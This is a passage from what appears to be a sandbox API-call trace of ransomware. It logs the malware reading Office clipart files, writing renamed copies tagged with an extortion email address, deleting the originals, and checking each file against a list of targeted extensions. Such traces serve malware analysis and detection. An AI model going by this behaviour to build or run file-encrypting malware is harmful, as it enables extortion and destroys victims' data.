dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.710] SetEndOfFile (hFile=0x548) returned 1 [0266.715] CloseHandle (hObject=0x548) returned 1 [0266.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0266.716] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf")) returned 1 [0266.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0266.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0266.716] lstrlenW (lpString=".doc") returned 4 [0266.716] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.716] lstrlenW (lpString=".docx") returned 5 [0266.716] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.717] lstrlenW (lpString=".pdf") returned 4 [0266.717] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.717] lstrlenW (lpString=".xls") returned 4 [0266.717] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.717] lstrlenW (lpString=".xlsx") returned 5 [0266.717] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.717] lstrlenW (lpString=".ppt") returned 4 [0266.717] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0266.717] lstrlenW (lpString=".zip") returned 4 [0266.717] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.717] lstrlenW (lpString=".rar") returned 4 [0266.717] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.717] lstrlenW (lpString=".bz2") returned 4 [0266.717] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.717] lstrlenW (lpString=".7z") returned 3 [0266.717] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0266.718] lstrlenW (lpString=".dbf") returned 4 [0266.718] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0266.718] lstrlenW (lpString=".1cd") returned 4 [0266.718] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0266.718] lstrlenW (lpString=".jpg") returned 4 [0266.718] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0266.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0266.718] lstrlenW (lpString=".doc") returned 4 [0266.718] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.718] lstrlenW (lpString=".docx") returned 5 [0266.718] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.718] lstrlenW (lpString=".pdf") returned 4 [0266.719] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.719] lstrlenW (lpString=".xls") returned 4 [0266.719] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.719] lstrlenW (lpString=".xlsx") returned 5 [0266.719] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.719] lstrlenW (lpString=".ppt") returned 4 [0266.719] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0266.719] lstrlenW (lpString=".zip") returned 4 [0266.719] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.719] lstrlenW (lpString=".rar") returned 4 [0266.719] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.719] lstrlenW (lpString=".bz2") returned 4 [0266.719] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.719] lstrlenW (lpString=".7z") returned 3 [0266.719] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0266.720] lstrlenW (lpString=".dbf") returned 4 [0266.720] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0266.720] lstrlenW (lpString=".1cd") returned 4 [0266.720] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0266.720] lstrlenW (lpString=".jpg") returned 4 [0266.720] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.720] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0266.720] lstrlenW (lpString="BL00269_.WMF") returned 12 [0266.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0266.721] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=5272) returned 1 [0266.721] CloseHandle (hObject=0x548) returned 1 [0266.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf")) returned 0x220 [0266.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0266.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0266.722] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.722] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0266.723] GetLastError () returned 0x0 [0266.723] ReadFile (in: hFile=0x548, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x1498, lpOverlapped=0x0) returned 1 [0266.797] WriteFile (in: hFile=0x554, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x14a0, lpOverlapped=0x0) returned 1 [0266.798] ReadFile (in: hFile=0x548, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0266.798] WriteFile (in: hFile=0x554, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0266.799] SetEndOfFile (hFile=0x554) returned 1 [0266.801] CloseHandle (hObject=0x554) returned 1 [0266.805] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.805] SetEndOfFile (hFile=0x548) returned 1 [0266.809] CloseHandle (hObject=0x548) returned 1 [0266.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0266.811] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf")) returned 1 [0266.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0266.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0266.812] lstrlenW (lpString=".doc") returned 4 [0266.812] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.812] lstrlenW (lpString=".docx") returned 5 [0266.812] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.812] lstrlenW (lpString=".pdf") returned 4 [0266.812] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.812] lstrlenW (lpString=".xls") returned 4 [0266.812] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.812] lstrlenW (lpString=".xlsx") returned 5 [0266.812] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.812] lstrlenW (lpString=".ppt") returned 4 [0266.812] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0266.813] lstrlenW (lpString=".zip") returned 4 [0266.813] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.813] lstrlenW (lpString=".rar") returned 4 [0266.813] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.813] lstrlenW (lpString=".bz2") returned 4 [0266.813] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.813] lstrlenW (lpString=".7z") returned 3 [0266.813] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0266.814] lstrlenW (lpString=".dbf") returned 4 [0266.814] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0266.814] lstrlenW (lpString=".1cd") returned 4 [0266.814] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0266.814] lstrlenW (lpString=".jpg") returned 4 [0266.814] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0266.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0266.814] lstrlenW (lpString=".doc") returned 4 [0266.814] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.815] lstrlenW (lpString=".docx") returned 5 [0266.815] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.815] lstrlenW (lpString=".pdf") returned 4 [0266.815] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.815] lstrlenW (lpString=".xls") returned 4 [0266.815] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.815] lstrlenW (lpString=".xlsx") returned 5 [0266.816] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.816] lstrlenW (lpString=".ppt") returned 4 [0266.816] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0266.816] lstrlenW (lpString=".zip") returned 4 [0266.816] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.816] lstrlenW (lpString=".rar") returned 4 [0266.816] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.816] lstrlenW (lpString=".bz2") returned 4 [0266.816] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.816] lstrlenW (lpString=".7z") returned 3 [0266.816] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0266.816] lstrlenW (lpString=".dbf") returned 4 [0266.816] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0266.817] lstrlenW (lpString=".1cd") returned 4 [0266.817] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0266.817] lstrlenW (lpString=".jpg") returned 4 [0266.817] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.817] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0266.817] lstrlenW (lpString="BL00270_.WMF") returned 12 [0266.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0266.818] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=3016) returned 1 [0266.818] CloseHandle (hObject=0x548) returned 1 [0266.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf")) returned 0x220 [0266.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0266.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0266.819] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.819] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0266.820] GetLastError () returned 0x0 [0266.820] ReadFile (in: hFile=0x548, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0xbc8, lpOverlapped=0x0) returned 1 [0266.846] WriteFile (in: hFile=0x554, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xbd0, lpOverlapped=0x0) returned 1 [0266.848] ReadFile (in: hFile=0x548, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0266.848] WriteFile (in: hFile=0x554, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0266.848] SetEndOfFile (hFile=0x554) returned 1 [0266.848] CloseHandle (hObject=0x554) returned 1 [0266.856] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.856] SetEndOfFile (hFile=0x548) returned 1 [0266.860] CloseHandle (hObject=0x548) returned 1 [0266.860] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0266.861] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf")) returned 1 [0266.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0266.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0266.861] lstrlenW (lpString=".doc") returned 4 [0266.861] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.861] lstrlenW (lpString=".docx") returned 5 [0266.861] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.861] lstrlenW (lpString=".pdf") returned 4 [0266.862] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.862] lstrlenW (lpString=".xls") returned 4 [0266.862] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.862] lstrlenW (lpString=".xlsx") returned 5 [0266.862] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.862] lstrlenW (lpString=".ppt") returned 4 [0266.862] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0266.862] lstrlenW (lpString=".zip") returned 4 [0267.133] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0267.133] lstrlenW (lpString=".rar") returned 4 [0267.133] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0267.133] lstrlenW (lpString=".bz2") returned 4 [0267.133] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0267.133] lstrlenW (lpString=".7z") returned 3 [0267.133] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0267.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0267.133] lstrlenW (lpString=".dbf") returned 4 [0267.133] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0267.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0267.133] lstrlenW (lpString=".1cd") returned 4 [0267.133] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0267.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0267.133] lstrlenW (lpString=".jpg") returned 4 [0267.133] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0267.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0267.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0267.134] lstrlenW (lpString=".doc") returned 4 [0267.134] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0267.134] lstrlenW (lpString=".docx") returned 5 [0267.134] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0267.134] lstrlenW (lpString=".pdf") returned 4 [0267.134] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0267.134] lstrlenW (lpString=".xls") returned 4 [0267.134] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0267.134] lstrlenW (lpString=".xlsx") returned 5 [0267.134] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0267.134] lstrlenW (lpString=".ppt") returned 4 [0267.134] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0267.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0267.134] lstrlenW (lpString=".zip") returned 4 [0267.134] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0267.134] lstrlenW (lpString=".rar") returned 4 [0267.134] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0267.134] lstrlenW (lpString=".bz2") returned 4 [0267.134] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0267.134] lstrlenW (lpString=".7z") returned 3 [0267.134] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0267.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0267.135] lstrlenW (lpString=".dbf") returned 4 [0267.135] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0267.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0267.135] lstrlenW (lpString=".1cd") returned 4 [0267.135] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0267.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0267.135] lstrlenW (lpString=".jpg") returned 4 [0267.135] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0267.135] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0267.135] lstrlenW (lpString="BL00274_.WMF") returned 12 [0267.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0267.285] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=4164) returned 1 [0267.285] CloseHandle (hObject=0x524) returned 1 [0267.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf")) returned 0x220 [0267.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0267.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0267.286] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.286] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0267.287] GetLastError () returned 0x0 [0267.287] ReadFile (in: hFile=0x524, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x1044, lpOverlapped=0x0) returned 1 [0267.302] WriteFile (in: hFile=0x4bc, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x1050, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1050, lpOverlapped=0x0) returned 1 [0267.303] ReadFile (in: hFile=0x524, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0267.303] WriteFile (in: hFile=0x4bc, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0267.303] SetEndOfFile (hFile=0x4bc) returned 1 [0267.304] CloseHandle (hObject=0x4bc) returned 1 [0267.312] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.312] SetEndOfFile (hFile=0x524) returned 1 [0267.317] CloseHandle (hObject=0x524) returned 1 [0267.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0267.318] DeleteFileW 